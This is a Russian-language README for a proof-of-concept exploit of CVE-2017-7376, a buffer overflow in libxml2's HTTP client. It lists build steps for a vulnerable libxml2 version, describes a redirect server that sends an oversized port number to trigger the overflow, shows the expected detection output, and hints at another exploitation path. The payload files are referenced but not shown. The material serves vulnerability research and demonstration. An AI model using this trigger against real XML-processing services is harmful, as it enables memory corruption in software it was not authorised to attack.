
Пример эксплойта для CVE-2017-7376
Пример эксплойта для CVE-2017-7376
Скачайте этот репозиторий и уязвимую версию libxml2, например v2.7.7:
git clone https://github.com/brahmstaedt/libxml2-exploit.git
cd libxml2-exploit
wget https://github.com/GNOME/libxml2/archive/v2.7.7.zip
unzip v2.7.7.zip
mv libxml2-2.7.7/ libxml2
cd libxml2
Чтобы сделать успешность эксплойта более заметной, добавьте код для обнаружения переполнения буфера в libxml2. Не требуется, если у вас есть другие способы наблюдения, например, падение приложения.
git apply ../nanohttp.patch
./autogen.sh --prefix=$(pwd)/ --without-python
make
make install
В случае появления следующей ошибки:
aclocal: warning: autoconf input should be named 'configure.ac', not 'configure.in'
Замените в configure.in AM_C_PROTOTYPES на dnl AM_C_PROTOTYPES, например так:
sed 's:AM_C_PROTOTYPES:dnl AM_C_PROTOTYPES:' configure.in -i
Вернитесь назад
cd ..
Этот эксплойт требует веб-сервер, отвечающий перенаправлением на новый URL с номером порта длиной более 5 цифр и меньше int32max (2147483648 = 2^32/2).
Запустите сервер (требуется node JS и свободный порт 127.0.0.1:8080):
node http.js &
Проверьте веб-сервер; должно появиться сообщение об ошибке из-за недопустимого номера порта 2147426192:
wget localhost:8080
make
./run.sh
Ожидаемый вывод:
Buffer overflow is detected
I/O warning : failed to load HTTP resource
buffer_overflow.xml:4: element include: XInclude error : could not load http://localhost:8080/dummy.xml, and no fallback was found
Failed to process include buffer_overflow.xml
Этот демонстрационный эксплойт требует, чтобы основная программа выполняла xmlXIncludeProcess() для достижения ошибочного кода в libxml2, что вряд ли используется во многих реальных реализациях. Однако в комментарии nanohttp.c упоминается, что это минималистичная реализация HTTP GET для получения внешних подмножеств, что может предложить другой путь эксплуатации.